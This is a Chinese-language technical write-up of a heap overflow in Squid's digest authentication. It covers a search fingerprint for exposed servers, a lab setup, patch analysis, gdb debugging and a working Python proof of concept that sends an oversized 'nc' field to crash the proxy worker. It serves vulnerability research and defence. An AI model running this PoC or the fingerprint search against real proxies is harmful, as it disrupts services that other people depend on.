Squid 拒绝服务漏洞分析

基本信息

开启了digest身份认证的squid代理服务器存在堆溢出漏洞,未经身份验证的攻击者可以利用该漏洞造成拒绝服务。

指纹

hunter

web.title="ERROR The requested URL could not be retrieved"

影响版本

squid

3.2.0.1-5.9, 6.0-6.3

环境搭建

按照configure脚本的提示安装各个依赖,而后执行如下:

export C_INCLUDE_PATH=/usr/include/libxml2
export CPLUS_INCLUDE_PATH=/usr/include/libxml2
./configure  '--build=x86_64-linux-gnu' '--prefix=/root/squid/squid-6.3/build' '--includedir=${prefix}/include' '--mandir=${prefix}/share/man' '--infodir=${prefix}/share/info' '--sysconfdir=/etc' '--localstatedir=/var' '--disable-option-checking' '--disable-silent-rules' '--libdir=${prefix}/lib/x86_64-linux-gnu' '--runstatedir=/run' '--disable-maintainer-mode' '--disable-dependency-tracking' 'BUILDCXXFLAGS=-g -O2 -ffile-prefix-map=/build/reproducible-path/squid-6.3=. -fstack-protector-strong -fstack-clash-protection -Wformat -Werror=format-security -fcf-protection -Wno-error=deprecated-declarations -Wdate-time -D_FORTIFY_SOURCE=2 -Wl,-z,relro -Wl,-z,now ' 'BUILDCXX=g++' '--with-build-environment=default' '--enable-build-info=Debian linux' '--datadir=/usr/share/squid' '--sysconfdir=/etc/squid' '--libexecdir=/usr/lib/squid' '--mandir=/usr/share/man' '--enable-inline' '--disable-arch-native' '--enable-async-io=8' '--enable-storeio=ufs,aufs,diskd,rock' '--enable-removal-policies=lru,heap' '--enable-delay-pools'  '--enable-icap-client' '--enable-follow-x-forwarded-for' '--enable-auth-basic=DB,fake,getpwnam,LDAP,NCSA,PAM,POP3,RADIUS,SASL,SMB' '--enable-auth-digest=file,LDAP' '--enable-auth-negotiate=wrapper' '--enable-auth-ntlm=fake,SMB_LM' '--enable-external-acl-helpers=file_userip,LDAP_group,SQL_session,unix_group,wbinfo_group' '--enable-security-cert-validators=fake' '--enable-storeid-rewrite-helpers=file' '--enable-url-rewrite-helpers=fake' '--enable-eui' '--enable-esi'  '--enable-zph-qos'  '--disable-translation' '--with-swapdir=/var/spool/squid' '--with-logdir=/var/log/squid' '--with-pidfile=/run/squid.pid' '--with-filedescriptors=65536' '--with-large-files' '--with-default-user=proxy' '--enable-linux-netfilter' '--without-systemd' '--with-gnutls' 'build_alias=x86_64-linux-gnu' 'CFLAGS=-g -O2 -ffile-prefix-map=/build/reproducible-path/squid-6.3=. -fstack-protector-strong -fstack-clash-protection -Wformat -Werror=format-security -fcf-protection -Wno-error=deprecated-declarations' 'LDFLAGS=-Wl,-z,relro -Wl,-z,now ' 'CPPFLAGS=-Wdate-time -D_FORTIFY_SOURCE=2' 'CXXFLAGS=-g -O2 -ffile-prefix-map=/build/reproducible-path/squid-6.3=. -fstack-protector-strong -fstack-clash-protection -Wformat -Werror=format-security -fcf-protection -Wno-error=deprecated-declarations' '--disable-optimizations'

配置在squid.conf添加如下

auth_param digest program /usr/lib/squid/digest_file_auth -c /etc/squid/password.digest
auth_param digest realm localhost
acl authenticated proxy_auth REQUIRED
http_access allow authenticated
http_port 3128


test:localhost:39df1982ed1fef9f74ecd670a2a93c66

使用如下请求触发

curl -i -k http://116.62.202.230 -x 192.168.59.197:3128  -U test:123456 --proxy-digest

技术分析&调试

补丁分析

补丁修复于src\auth\digest\Config.cc,可以看出补丁主要是对value.size进行了判断,在修复前虽然判断了value.size()是否为8,但仅仅打印了一条调试信息,后面仍然调用xstrncpy进行复制。 在补丁处如果nc参数不是8则不会调用xstrncpy进行复制。

而xstrncpy要写入的长度参数来源于value.size(),value是一个String类型变量

case DIGEST_NC:
            if (value.size() != 8) {
                debugs(29, 9, "Invalid nc '" << value << "' in '" << temp << "'");
            }
            xstrncpy(digest_request->nc, value.rawBuf(), value.size() + 1);
            debugs(29, 9, "Found noncecount '" << digest_request->nc << "'");
            break;

char *
xstrncpy(char *dst, const char *src, size_t n)
{
    char *r = dst;

    if (!n || !dst)
        return dst;

    if (src)
        while (--n != 0 && *src != '\0') {
            *dst = *src;
            ++dst;
            ++src;
        }

    *dst = '\0';
    return r;
}

可以看出这是一个越界写漏洞,可以造成堆溢出。 动态调试

断点如下

gef➤  b Auth::Digest::Config::decode
gef➤  b Config.cc:829

通过curl触发断点

curl -i -k http://host -x 192.168.59.197:3128  -U test:123456 --proxy-digest

此时调用栈如下

gef➤  bt
#0  Auth::Digest::Config::decode (this=0x55a2e598a470,
    proxy_auth=0x55a2e5cc50e7 "username=\"test\",realm=\"localhost\",nonce=\"52a18c55ec2a173b665ae8c4d1b947b6\",uri=\"/\",cnonce=\"b315dc470396be779b18a73909a139f1\",nc=00000001,response=\"edda2d0982c717bd74ad9989da11b158\",qop=\"auth\"",
    request=0x55a2e61210e0, aRequestRealm=0x0) at Config.cc:830
#1  0x000055a2e483a895 in Auth::SchemeConfig::CreateAuthUser (
    proxy_auth=0x55a2e5cc50e0 "Digest username=\"test\",realm=\"localhost\",nonce=\"52a18c55ec2a173b665ae8c4d1b947b6\",uri=\"/\",cnonce=\"b315dc470396be779b18a73909a139f1\",nc=00000001,response=\"edda2d0982c717bd74ad9989da11b158\",qop=\"auth\"", al=...)
    at SchemeConfig.cc:55
#2  0x000055a2e4840d94 in Auth::UserRequest::authenticate (auth_user_request=0x55a2e611ee20,
    headertype=Http::PROXY_AUTHORIZATION, request=0x55a2e61210e0, conn=0x55a2e6118e78, src_addr=..., al=...) at UserRequest.cc:354
#3  0x000055a2e4841952 in Auth::UserRequest::tryToAuthenticateAndSetAuthUser (aUR=0x55a2e611ee20,
    headertype=Http::PROXY_AUTHORIZATION, request=0x55a2e61210e0, conn=0x55a2e6118e78, src_addr=..., al=...) at UserRequest.cc:453
#4  0x000055a2e4807766 in AuthenticateAcl (ch=0x55a2e611ec88) at Acl.cc:57
#5  0x000055a2e4809a2d in ACLProxyAuth::match (this=0x55a2e598ac40, checklist=0x55a2e611ec88) at AclProxyAuth.cc:55
#6  0x000055a2e4861813 in ACL::matches (this=0x55a2e598ac40, checklist=0x55a2e611ec88) at Acl.cc:171
#7  0x000055a2e4866b75 in ACLChecklist::matchChild (this=0x55a2e611ec88, current=0x55a2e598bc50, pos=0x55a2e598ac40,
    child=0x55a2e598ac40) at Checklist.cc:93
#8  0x000055a2e4866018 in Acl::AndNode::doMatch (this=0x55a2e598bc50, checklist=0x55a2e611ec88, start=0x55a2e598ac40)
    at BoolOps.cc:76
#9  0x000055a2e486af59 in Acl::InnerNode::match (this=0x55a2e598bc50, checklist=0x55a2e611ec88) at InnerNode.cc:91
#10 0x000055a2e4861813 in ACL::matches (this=0x55a2e598bc50, checklist=0x55a2e611ec88) at Acl.cc:171
#11 0x000055a2e4866b75 in ACLChecklist::matchChild (this=0x55a2e611ec88, current=0x55a2e598c098, pos=0x55a2e598bc50,
    child=0x55a2e598bc50) at Checklist.cc:93
#12 0x000055a2e4866198 in Acl::OrNode::doMatch (this=0x55a2e598c098, checklist=0x55a2e611ec88, start=0x55a2e598bc50)
    at BoolOps.cc:114
#13 0x000055a2e486af59 in Acl::InnerNode::match (this=0x55a2e598c098, checklist=0x55a2e611ec88) at InnerNode.cc:91
#14 0x000055a2e4861813 in ACL::matches (this=0x55a2e598c098, checklist=0x55a2e611ec88) at Acl.cc:171
#15 0x000055a2e4867883 in ACLChecklist::matchAndFinish (this=0x55a2e611ec88) at Checklist.cc:295
#16 0x000055a2e4867691 in ACLChecklist::nonBlockingCheck (this=0x55a2e611ec88,
    callback_=0x55a2e4749b13 <clientAccessCheckDoneWrapper(Acl::Answer, void*)>, callback_data_=0x55a2e611e8b8)
    at Checklist.cc:254
#17 0x000055a2e47498dc in ClientRequestContext::clientAccessCheck (this=0x55a2e611e8b8) at client_side_request.cc:660
#18 0x000055a2e474da2d in ClientHttpRequest::doCallouts (this=0x55a2e6119ce8) at client_side_request.cc:1704
#19 0x000055a2e4748ec8 in ClientRequestContext::hostHeaderVerify (this=0x55a2e611e8b8) at client_side_request.cc:608
#20 0x000055a2e474d8ff in ClientHttpRequest::doCallouts (this=0x55a2e6119ce8) at client_side_request.cc:1697
#21 0x000055a2e4727ff3 in clientProcessRequest (conn=0x55a2e6118e78, hp=..., context=0x55a2e611a740) at client_side.cc:1759
#22 0x000055a2e48b338e in Http::One::Server::processParsedRequest (this=0x55a2e6118e78, context=...) at Http1Server.cc:284
#23 0x000055a2e4729260 in ConnStateData::clientParseRequests (this=0x55a2e6118e78) at client_side.cc:1948
#24 0x000055a2e472961a in ConnStateData::afterClientRead (this=0x55a2e6118e78) at client_side.cc:1982
#25 0x000055a2e48b701c in Server::doClientRead (this=0x55a2e6118e78, io=...) at Server.cc:183
#26 0x000055a2e48b8250 in CommCbMemFunT<Server, CommIoCbParams>::doDial (this=0x55a2e6117458) at ../../src/CommCalls.h:190
#27 0x000055a2e48b832b in JobDialer<Server>::dial (this=0x55a2e6117458, call=...) at ../../src/base/AsyncJobCalls.h:175
#28 0x000055a2e48b8137 in AsyncCallT<CommCbMemFunT<Server, CommIoCbParams> >::fire (this=0x55a2e6117420)
    at ../../src/base/AsyncCall.h:147
#29 0x000055a2e48d2d3c in AsyncCall::make (this=0x55a2e6117420) at AsyncCall.cc:44
#30 0x000055a2e48d3e50 in AsyncCallQueue::fire (this=0x55a2e5ca15d0) at AsyncCallQueue.cc:27
#31 0x000055a2e4669475 in EventLoop::dispatchCalls (this=0x7ffd91608f90) at EventLoop.cc:144
#32 0x000055a2e4669381 in EventLoop::runOnce (this=0x7ffd91608f90) at EventLoop.cc:121
#33 0x000055a2e46691d4 in EventLoop::run (this=0x7ffd91608f90) at EventLoop.cc:83
#34 0x000055a2e47a0842 in SquidMain (argc=0x3, argv=0x7ffd916091a8) at main.cc:1661
#35 0x000055a2e479fa03 in SquidMainSafe (argc=0x3, argv=0x7ffd916091a8) at main.cc:1353
#36 0x000055a2e479f9bd in main (argc=0x3, argv=0x7ffd916091a8) at main.cc:1341

在gdb中可以看到value值为传入的请求的nc的值

gef➤  p value
$1 = {
  static npos = 0xffffffffffffffff,
  size_ = 0x28,
  len_ = 0x8,
  static SizeMax_ = 0xffff,
  buf_ = 0x55a2e6125a60 "00000001"
}

长度为nc的长度,此时只需要nc长度超过目标缓冲区 digest_request->nc即可造成堆溢出。查看 digest_request定义可知nc大小为9

class UserRequest : public Auth::UserRequest
{
    MEMPROXY_CLASS(Auth::Digest::UserRequest);

public:
    UserRequest();
    ~UserRequest() override;

    int authenticated() const override;
    void authenticate(HttpRequest * request, ConnStateData * conn, Http::HdrType type) override;
    Direction module_direction() override;
    void addAuthenticationInfoHeader(HttpReply * rep, int accel) override;
#if WAITING_FOR_TE
    virtual void addAuthenticationInfoTrailer(HttpReply * rep, int accel);
#endif

    void startHelperLookup(HttpRequest *request, AccessLogEntry::Pointer &al, AUTHCB *, void *) override;
    const char *credentialsStr() override;

    char *noncehex;             /* "dcd98b7102dd2f0e8b11d0f600bfb0c093" */
    char *cnonce;               /* "0a4f113b" */
    char *realm;                /* = "testrealm@host.com" */
    char *pszPass;              /* = "Circle Of Life" */
    char *algorithm;            /* = "md5" */
    char nc[9];                 /* = "00000001" */
    char *pszMethod;            /* = "GET" */
    char *qop;                  /* = "auth" */
    char *uri;                  /* = "/dir/index.html" */
    char *response;

digest_request为Auth::Digest::UserRequest指针,使用new分配内存,位于堆内

PoC构造

漏洞代码对应于处理[[../06 Protocol/HTTP digest身份认证|HTTP digest 认证]],通过该认证请求需要发送两次请求,第一次不携带认证头,此时squid会返回407,需要提取响应中的nonce,简单的使用python即可构造 PoC

import requests
from requests.auth import HTTPDigestAuth
import random
import string
import hashlib
proxies={
    'http':'http://192.168.59.197:3128',
    'https':'http://192.168.59.197:3128'
}

resp_407="""
Digest realm="localhost", nonce="47e5f5dc8b7237cf1153065afe358c89", qop="auth", stale=false"""

rr='''Digest username="test",realm="localhost",nonce="47e5f5dc8b7237cf1153065afe358c89",uri="/",cnonce="a0824a23a0394203c3023085915fd744",nc=00000001,response="b45560b922d64786ef7d6c96c9071dfa",qop="auth"'''

data='''Digest username="{username}",realm="{realm}",nonce="{nonce}",uri="{uri}",cnonce="{cnonce}",nc={nc},response="{response}",qop="auth"'''


username="test"
password="123456"
realm="localhost"
nc="00000001"*100

cnonce = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(32))

ha1 = hashlib.md5((username + ':' + realm + ':' + password).encode('utf-8')).hexdigest()
ha2= hashlib.md5("GET:/".encode("utf-8")).hexdigest()


resp =requests.get(url="http://116.62.202.230",proxies=proxies,verify=False)
if resp.status_code==407:
    resp_header = resp.headers
    nonce = resp_header["Proxy-Authenticate"].split(',')[1].split('=')[1].rstrip('"').lstrip('"')
response = hashlib.md5((ha1+":"+nonce+":"+nc+":"+cnonce+":auth:"+ha2).encode('utf-8')).hexdigest()
print("nonce: {}\tcnonce: {}\tresponse: {}".format(nonce,cnonce,response))

rdata = data.format(username=username,realm=realm,nonce=nonce,uri="/",cnonce=cnonce,nc=nc,response=response)
header = {
    "Proxy-Authorization": rdata
}

print(rdata)
resp =requests.get(url="http://116.62.202.230",proxies=proxies,verify=False,headers=header)
print(resp.status_code,resp.text)

小结

由于squid为多进程架构,在子进程因为漏洞退出时,父进程会重新生成子进程处理代理请求,实际利用比较鸡肋,也就不难理解该漏洞没有CVE编号了。

参考链接

https://github.com/squid-cache/squid/security/advisories/GHSA-phqj-m8gv-cq4g

https://datatracker.ietf.org/doc/html/rfc7616

Created at 2023-10-26T10:41:55+08:00

创建于:Thursday, October 26,2023
最后修改于: Tuesday, January 2,2024